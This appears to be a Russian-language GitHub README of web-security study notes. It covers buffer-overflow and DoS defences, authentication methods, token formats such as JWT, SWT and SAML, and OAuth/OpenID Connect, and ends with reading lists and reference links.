  7. Использование буферного обнаружения и предотвращения атак: Используйте инструменты и технологии для обнаружения и предотвращения атак переполнения буфера, такие как статический анализатор кода, системы обнаружения вторжений и сетевые брандмауэры.

  8. Обновление программного обеспечения: Регулярно обновляйте программное обеспечение и библиотеки до последних версий, чтобы устранить известные уязвимости переполнения буфера.

Защита от атак на отказ в обслуживании (DoS)

  1. Увеличение пропускной способности и масштабирование: Увеличение пропускной способности вашей сети, серверов и инфраструктуры поможет справиться с большим объемом запросов и уменьшить вероятность успешной атаки DoS.

  2. Использование CDN: Content Delivery Network (CDN) помогает распределять нагрузку между различными серверами и географическими регионами, что помогает смягчить воздействие атак DoS и улучшить производительность.

  3. Настройка балансировщиков нагрузки: Использование балансировщиков нагрузки помогает распределять запросы между несколькими серверами, что повышает надежность и уменьшает вероятность отказа в обслуживании при атаках DoS.

  4. Фильтрация входящего трафика: Реализуйте фильтрацию входящего трафика на уровне сетевого оборудования или на уровне приложения, чтобы отфильтровать или отвергнуть потенциально вредоносный трафик.

  5. Ограничение запросов: Ограничьте количество одновременных запросов от одного IP-адреса или пользователя, чтобы предотвратить перегрузку сервера.

  6. Мониторинг и обнаружение аномалий: Реализуйте системы мониторинга, которые могут обнаруживать аномальную активность и предупреждать об атаках DoS до того, как они смогут нанести серьезный ущерб.

  7. Облачные решения безопасности: Используйте облачные решения безопасности, которые предоставляют специализированные инструменты и функции защиты от атак DoS, такие как защита от DDOS-атак.

  8. Резервное копирование и восстановление: Регулярное резервное копирование данных и настройка процедур восстановления помогут быстро восстановить работоспособность системы после успешной атаки DoS.

  9. Тестирование устойчивости системы: Регулярно тестируйте устойчивость вашей системы к атакам DoS, чтобы идентифицировать уязвимости и вовремя принимать меры по их устранению.

Кроме того, важно реагировать на атаки DoS в реальном времени, мониторя трафик и обнаруживая аномальную активность, чтобы быстро принимать меры по защите и восстановлению работоспособности системы.

Безопасность REST API от А до ПИ

Authentication

Обзор способов и протоколов аутентификации в веб-приложениях

Аутентификация — это процесс проверки личности пользователя. Аутентификацию не следует путать с авторизацией (процедурой предоставления субъекту определённых прав) и идентификацией (процедурой распознавания субъекта по его идентификатору). Он включает подтверждение того, что пользователь является тем, за кого себя выдает, обычно с помощью учетных данных, таких как имя пользователя и пароль, биометрические данные или методы многофакторной аутентификации. Аутентификация является первым шагом в предоставлении доступа к защищенному ресурсу, поскольку она устанавливает личность пользователя до определения его полномочий.

Авторизация, наоборот, представляет собой процесс предоставления или запрета доступа к определенным ресурсам или действиям на основе аутентифицированной личности пользователя. После подтверждения личности пользователя авторизация определяет, что ему разрешено делать в приложении.

Идентификация — это заявление о том, кем вы являетесь. В зависимости от ситуации, это может быть имя, адрес электронной почты, номер учетной записи, итд.

Например, при попытке попасть в закрытый клуб вас идентифицируют (спросят ваше имя и фамилию), аутентифицируют (попросят показать паспорт и сверят фотографию) и авторизуют (проверят, что фамилия находится в списке гостей), прежде чем пустят внутрь. Аналогично эти термины применяются в компьютерных системах, где традиционно под идентификацией понимают получение вашей учетной записи (identity) по username или email; под аутентификацией — проверку, что вы знаете пароль от этой учетной записи, а под авторизацией — проверку вашей роли в системе и решение о предоставлении доступа к запрошенной странице или ресурсу.

Способы аутентификации:

  • Аутентификация по паролю
  • Аутентификация по сертификатам
  • Аутентификация по одноразовым паролям
  • Аутентификация по ключам доступа
  • Аутентификация по токенам

Аутентификация по паролю

Этот метод основывается на том, что пользователь должен предоставить username и password для успешной идентификации и аутентификации в системе.

Распространенные уязвимости и ошибки реализации Аутентификации по паролю считается не очень надежным способом, так как пароль часто можно подобрать, а пользователи склонны использовать простые и одинаковые пароли в разных системах, либо записывать их на клочках бумаги. Если злоумышленник смог выяснить пароль, то пользователь зачастую об этом не узнает. Кроме того, разработчики приложений могут допустить ряд концептуальных ошибок, упрощающих взлом учетных записей.

**Ниже представлен список наиболее часто встречающихся уязвимостей в случае использования аутентификации по паролю:**
  • Веб-приложение позволяет пользователям создавать простые пароли.
  • Веб-приложение не защищено от возможности перебора паролей (brute-force attacks).
  • Веб-приложение само генерирует и распространяет пароли пользователям, однако не требует смены пароля после первого входа (т.е. текущий пароль где-то записан).
  • Веб-приложение допускает передачу паролей по незащищенному HTTP-соединению, либо в строке URL.
  • Веб-приложение не использует безопасные хэш-функции для хранения паролей пользователей.
  • Веб-приложение не предоставляет пользователям возможность изменения пароля либо не нотифицирует пользователей об изменении их паролей.
  • Веб-приложение использует уязвимую функцию восстановления пароля, которую можно использовать для получения несанкционированного доступа к другим учетным записям.
  • Веб-приложение не требует повторной аутентификации пользователя для важных действий: смена пароля, изменения адреса доставки товаров и т. п.
  • Веб-приложение создает session tokens таким образом, что они могут быть подобраны или предсказаны для других пользователей.
  • Веб-приложение допускает передачу session tokens по незащищенному HTTP-соединению, либо в строке URL.
  • Веб-приложение уязвимо для session fixation-атак (т. е. не заменяет session token при переходе анонимной сессии пользователя в аутентифицированную).
  • Веб-приложение не устанавливает флаги HttpOnly и Secure для browser cookies, содержащих session tokens.
  • Веб-приложение не уничтожает сессии пользователя после короткого периода неактивности либо не предоставляет функцию выхода из аутентифицированной сессии.
  1. HTTP authentication

Этот протокол, описанный в стандартах HTTP 1.0/1.1

Применительно к веб-сайтам работает следующим образом:

  1. Сервер, при обращении неавторизованного клиента к защищенному ресурсу, отсылает HTTP статус 401 Unauthorized и добавляет заголовок WWW-Authenticate с указанием схемы и параметров аутентификации.
  2. Браузер, при получении такого ответа, автоматически показывает диалог ввода username и password. Пользователь вводит детали своей учетной записи.
  3. Во всех последующих запросах к этому веб-сайту браузер автоматически добавляет HTTP заголовок Authorization, в котором передаются данные пользователя для аутентификации сервером.
  4. Сервер аутентифицирует пользователя по данным из этого заголовка. Решение о предоставлении доступа (авторизация) производится отдельно на основании роли пользователя, ACL или других данных учетной записи.

Существует несколько схем аутентификации, отличающихся по уровню безопасности: Basic, Digest, NTLM, Negotiate

Basic — наиболее простая схема, при которой username и password пользователя передаются в заголовке Authorization в незашифрованном виде (base64-encoded). Однако при использовании HTTPS (HTTP over SSL) протокола, является относительно безопасной.

Digest — challenge-response-схема, при которой сервер посылает уникальное значение nonce, а браузер передает MD5 хэш пароля пользователя, вычисленный с использованием указанного nonce. Более безопасная альтернативв Basic схемы при незащищенных соединениях, но подвержена man-in-the-middle attacks (с заменой схемы на basic). Кроме того, использование этой схемы не позволяет применить современные хэш-функции для хранения паролей пользователей на сервере.

Стоит отметить, что при использовании HTTP-аутентификации у пользователя нет стандартной возможности выйти из веб-приложения, кроме как закрыть все окна браузера.

  1. Forms authentication

Работает это по следующему принципу: в веб-приложение включается HTML-форма, в которую пользователь должен ввести свои username/password и отправить их на сервер через HTTP POST для аутентификации. В случае успеха веб-приложение создает session token, который обычно помещается в browser cookies. При последующих веб-запросах session token автоматически передается на сервер и позволяет приложению получить информацию о текущем пользователе для авторизации запроса.

Необходимо понимать, что перехват session token зачастую дает аналогичный уровень доступа, что и знание username/password. Поэтому все коммуникации между клиентом и сервером в случае forms authentication должны производиться только по защищенному соединению HTTPS.

Аутентификация по сертификатам

Использование сертификатов для аутентификации — куда более надежный способ, чем аутентификация посредством паролей. Это достигается созданием в процессе аутентификации цифровой подписи, наличие которой доказывает факт применения закрытого ключа в конкретной ситуации (non-repudiation). Однако трудности с распространением и поддержкой сертификатов делает такой способ аутентификации малодоступным в широких кругах.

На стороне клиента сертификат вместе с закрытым ключом могут храниться в операционной системе, в браузере, в файле, на отдельном физическом устройстве (smart card, USB token). Обычно закрытый ключ дополнительно защищен паролем или PIN-кодом.

В веб-приложениях традиционно используют сертификаты стандарта X.509. Аутентификация с помощью X.509-сертификата происходит в момент соединения с сервером и является частью протокола SSL/TLS.

Аутентификация по одноразовым паролям

Аутентификация по одноразовым паролям обычно применяется дополнительно к аутентификации по паролям для реализации two-factor authentication (2FA). В этой концепции пользователю необходимо предоставить данные двух типов для входа в систему: что-то, что он знает (например, пароль), и что-то, чем он владеет (например, устройство для генерации одноразовых паролей). Наличие двух факторов позволяет в значительной степени увеличить уровень безопасности, что м. б. востребовано для определенных видов веб-приложений.

Другой популярный сценарий использования одноразовых паролей — дополнительная аутентификация пользователя во время выполнения важных действий: перевод денег, изменение настроек и т. п.

**Существуют разные источники для создания одноразовых паролей. Наиболее популярные:**
  • Аппаратные или программные токены, которые могут генерировать одноразовые пароли на основании секретного ключа, введенного в них, и текущего времени. Секретные ключи пользователей, являющиеся фактором владения, также хранятся на сервере, что позволяет выполнить проверку введенных одноразовых паролей. Пример аппаратной реализаций токенов — RSA SecurID; программной — приложение Google Authenticator.
  • Случайно генерируемые коды, передаваемые пользователю через SMS или другой канал связи. В этой ситуации фактор владения — телефон пользователя (точнее — SIM-карта, привязанная к определенному номеру).
  • Распечатка или scratch card со списком заранее сформированных одноразовых паролей. Для каждого нового входа в систему требуется ввести новый одноразовый пароль с указанным номером.

В веб-приложениях такой механизм аутентификации часто реализуется посредством расширения forms authentication: после первичной аутентификации по паролю, создается сессия пользователя, однако в контексте этой сессии пользователь не имеет доступа к приложению до тех пор, пока он не выполнит дополнительную аутентификацию по одноразовому паролю.

Аутентификация по ключам доступа

Этот способ чаще всего используется для аутентификации устройств, сервисов или других приложений при обращении к веб-сервисам. Здесь в качестве секрета применяются ключи доступа (access key, API key) — длинные уникальные строки, содержащие произвольный набор символов, по сути заменяющие собой комбинацию username/password.

Аутентификация по токенам

Такой способ аутентификации чаще всего применяется при построении распределенных систем Single Sign-On (SSO), где одно приложение (service provider или relying party) делегирует функцию аутентификации пользователей другому приложению (identity provider или authentication service). Типичный пример этого способа — вход в приложение через учетную запись в социальных сетях. Здесь социальные сети являются сервисами аутентификации, а приложение доверяет функцию аутентификации пользователей социальным сетям.

Реализация этого способа заключается в том, что identity provider (IP) предоставляет достоверные сведения о пользователе в виде токена, а service provider (SP) приложение использует этот токен для идентификации, аутентификации и авторизации пользователя.

Существует несколько стандартов, в точности определяющих протокол взаимодействия между клиентами (активными и пассивными) и IP/SP-приложениями и формат поддерживаемых токенов. Среди наиболее популярных стандартов — OAuth, OpenID Connect, SAML, и WS-Federation.

Сам токен обычно представляет собой структуру данных, которая содержит информацию, кто сгенерировал токен, кто может быть получателем токена, срок действия, набор сведений о самом пользователе (claims). Кроме того, токен дополнительно подписывается для предотвращения несанкционированных изменений и гарантий подлинности.

При аутентификации с помощью токена SP-приложение должно выполнить следующие проверки:
  • Токен был выдан доверенным identity provider приложением (проверка поля issuer).
  • Токен предназначается текущему SP-приложению (проверка поля audience).
  • Срок действия токена еще не истек (проверка поля expiration date).
  • Токен подлинный и не был изменен (проверка подписи).

Форматы токенов:

Формат Simple Web Token (SWT) — наиболее простой формат, представляющий собой набор произвольных пар имя/значение в формате кодирования HTML form. Стандарт определяет несколько зарезервированных имен: Issuer, Audience, ExpiresOn и HMACSHA256. Токен подписывается с помощью симметричного ключа, таким образом оба IP- и SP-приложения должны иметь этот ключ для возможности создания/проверки токена.

Пример SWT токена (после декодирования).

Issuer=http://auth.myservice.com&
Audience=http://myservice.com&
ExpiresOn=1435937883&
UserName=John Smith&
UserRole=Admin&
HMACSHA256=KOUQRPSpy64rvT2KnYyQKtFFXUIggnesSpE7ADA4o9w

Формат JSON Web Token (JWT) — содержит три блока, разделенных точками: заголовок, набор полей (claims) и подпись. Первые два блока представлены в JSON-формате и дополнительно закодированы в формат base64. Набор полей содержит произвольные пары имя/значения, притом стандарт JWT определяет несколько зарезервированных имен (iss, aud, exp и другие). Подпись может генерироваться при помощи и симметричных алгоритмов шифрования, и асимметричных. Кроме того, существует отдельный стандарт, отписывающий формат зашифрованного JWT-токена.

Token info JWT

Пример подписанного JWT токена (после декодирования 1 и 2 блоков).

{ «alg»: «HS256», «typ»: «JWT» }.
{ «iss»: «auth.myservice.com», «aud»: «myservice.com», «exp»: «1435937883», «userName»: «John Smith», «userRole»: «Admin» }.
S9Zs/8/uEGGTVVtLggFTizCsMtwOJnRhjaQ2BMUQhcY

Формат Security Assertion Markup Language (SAML) — определяет токены (SAML assertions) в XML-формате, включающем информацию об эмитенте, о субъекте, необходимые условия для проверки токена, набор дополнительных утверждений (statements) о пользователе. Подпись SAML-токенов осуществляется при помощи ассиметричной криптографии. Кроме того, в отличие от предыдущих форматов, SAML-токены содержат механизм для подтверждения владения токеном, что позволяет предотвратить перехват токенов через man-in-the-middle-атаки при использовании незащищенных соединений.

JWT подходят в качестве одноразовых токенов авторизации для передачи заявок между двумя субъектами.

Однако JWT не подходят в качестве долгосрочного постоянного механизма хранения данных , особенно для управления сеансами пользователей .

Использование JWT для управления сеансами может привести к ряду серьезных проблем безопасности и реализации.

Вместо этого традиционные механизмы сеансов, такие как сеансовые файлы cookie, а также их хорошо зарекомендовавшие себя реализации, больше подходят для хранения долгосрочных, постоянных данных.

Стандарты OAuth и OpenID Connect

С помощью OAuth 2.0 пользователь разрешает определенному сайту получить свои закрытые данные из соцсетей, но без передачи сайту своих логинов / паролей. Например, когда вы регистрируетесь на сайте через Facebook, то как раз и предоставляете этому сайту разрешение получить из Facebook ваше имя, e-mail адрес и другие закрытые данные.

Стандарт определяет следующие роли:

  • Resource Owner — пользователь, который заходит на Client и дает ему разрешение использовать свои закрытые данные из Соцсети.
  • Client — приложение или интернет сайт, которым пользуется пользователь и которое взаимодействует с Authorization Server и Resource Server для получения закрытых данных пользователя.
  • Authorization Server — сервер который проверяет логин/пароль пользователя, он же Соцсеть.
  • Resource Server — хранит закрытую пользовательскую информацию, которую можно получить с помощью API. Authorization Server и Resource Server могут быть совмещены в одну систему.

OAuth2.0

Authorization flow

  • Перед началом авторизации необходимо зарегистрировать Client в Соцсети:
  • Разработчик Client задает Name (имя приложения), Homepage (адрес домашней страницы Client) и Callback (адрес, на который Соцсеть перенаправит пользователя после успешной авторизации)
  • Соцсеть выдает Client ID (иногда его называют AppID) и Client Secret.
  • Client ID и Client Secret разработчик должен прописать в своем Client.

The OAuth 2.0 Authorization Framework

бесплатные сертификаты Let’s Encrypt

Современные стандарты авторизации: OAuth 2.0 и аутентификации: OpenID Connect, WebAuthn

Auth2.0 использует кнопки сой. сетей для входа,а OpenID Connect (OIDC) расгиряет и использует поле sub как ID можно посмотрель профиль польщователя

... security

Существует несколько замечательных книг и статей на тему того, как сделать приложение безопасным:
    Writing Secure Code 2nd Edition.
    Building Secure Software: How to Avoid Security Problems the Right Way.
    Secure Programming Cookbook.
    Exploiting Software.
    Security Engineering.
    Secure Programming for Linux and Unix HOWTO.


Обучите ваших разработчиков лучшим практикам безопасности:
    Codebashing (платно)
    Security Innovation (платно)
    Security Compass (платно)
    OWASP WebGoat (бесплатно)

Существует отдельная дисциплина Threat modeling, которая позволяет прогнозировать/моделировать угрозы и направления возможной атаки, а также определять ценность данных, которые вы при этом рискуете потерять. Ее можно преподавать не только применительно к IT, но программисты точно должны получать концептуальное представление о ней в базовом комплекте знаний. Также совершенно необходимо, чтобы разработчики знали типичные дырки. Они должны быть в курсе, какими бывают ошибки и как потом за счет них другие люди взламывают системы.

Книга Питер Яворски - "Основы веб-хакинга"

После нескольких лекций Coursera Cybersecurity я наконец понял, что такое переполнение буфера и как его использовать. 
Я полностью ухватил принцип эксплуатации SQL-инъекций, о которых я раньше знал лишь то, что они опасны. Короче говоря, меня зацепило. 
До этого момента я всегда подходил к безопасности вебприложений с точки зрения разработчика, ценя необходимость экранирования значений и избегая нефильтрованного
пользовательского ввода. Теперь я начал понимать, как все это выглядело с точки зрения хакера.

Requests for Comments
Чтобы определить структуру сообщений которыми обмениваются системы в интернете,
люди задокументировали то, как некоторые из этих систем должны общаться в Requests for Comments (RFC)
 

Когда вы вводите http://www.google.com в адресной строке своего браузера и нажимаете enter, следующие шаги описывают
то, что происходит на высшем уровне:

- Ваш браузер извлекает имя домена из URL, www.google.com.
- Ваш компьютер отправляет DNS запрос к DNS-серверам,описанным в конфигурации вашего компьютера. 
DNS может помочь определить IP-адрес для доменного имени, в этом случае он равен 216.58.201.228. 
Подсказка: вы можете использовать dig a www.google.com из своего терминала, чтобы узнать IP-адрес для домена.
- Ваш компьютер пытается установить TCP-соединение с IP-адресом на порту 80, который используется для передачи иполучения HTTP-трафика. Подсказка: вы можете установить TCP-соединение, выполнив nc 216.58.201.228 80 из своего терминала
- Если соединение успешно установлено, ваш браузер отправит HTTP-запрос:

GET / HTTP/1.1
Host: www.google.com
Connection: keep-alive
Accept: application/html, */*

- Теперь он будет ждать ответа от сервера, который будет выглядеть примерно так:

HTTP/1.1 200 OK
Content-Type: text/html
<html>
<head>
<title>Google.com</title>
</head>
  <body>
  ...
  </body>
</html>

Ваш браузер прочтет и отрисует возвращенный HTML,CSS и Javascipt. В этом случае, на экране появится главная страница Google.com.

Links

Итак, с чего начать и где научиться охоте за ошибками?

Программисты просто не думают о безопасности, или Зачем в кофеварке Wi-Fi

Web Application Security Basics 101: where to start

С чего начать изучение информационной безопасности

Уязвимости бизнес-логики

Book: The Tangled Web michal zalewski

Проверьте свое программное обеспечение

WSTG Page on the OWASP Website

uMatrix расширение в chrom

Intercept HTTP requests

8 лучших программ для анализа сетевого трафика

Современные стандарты идентификации: OAuth 2.0, OpenID Connect, WebAuthn

Настройка авторизации через Google

Способы аутентификации

Обзор способов и протоколов аутентификации в веб-приложениях

Основы OAuth 2.0 и OpenID Connect

OAuth2 Google setting

OAuth 2.0 Google Playground

OAuth 2.0 Google Token parsing

Какие инструменты применяют для поиска уязвимостей

Вещи, которые всегда нужно держать в уме, если вы хотите создать безопасное приложение:

Practical Rust Web Development - Authentication

jwt.io

About

Studying Internet Security

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages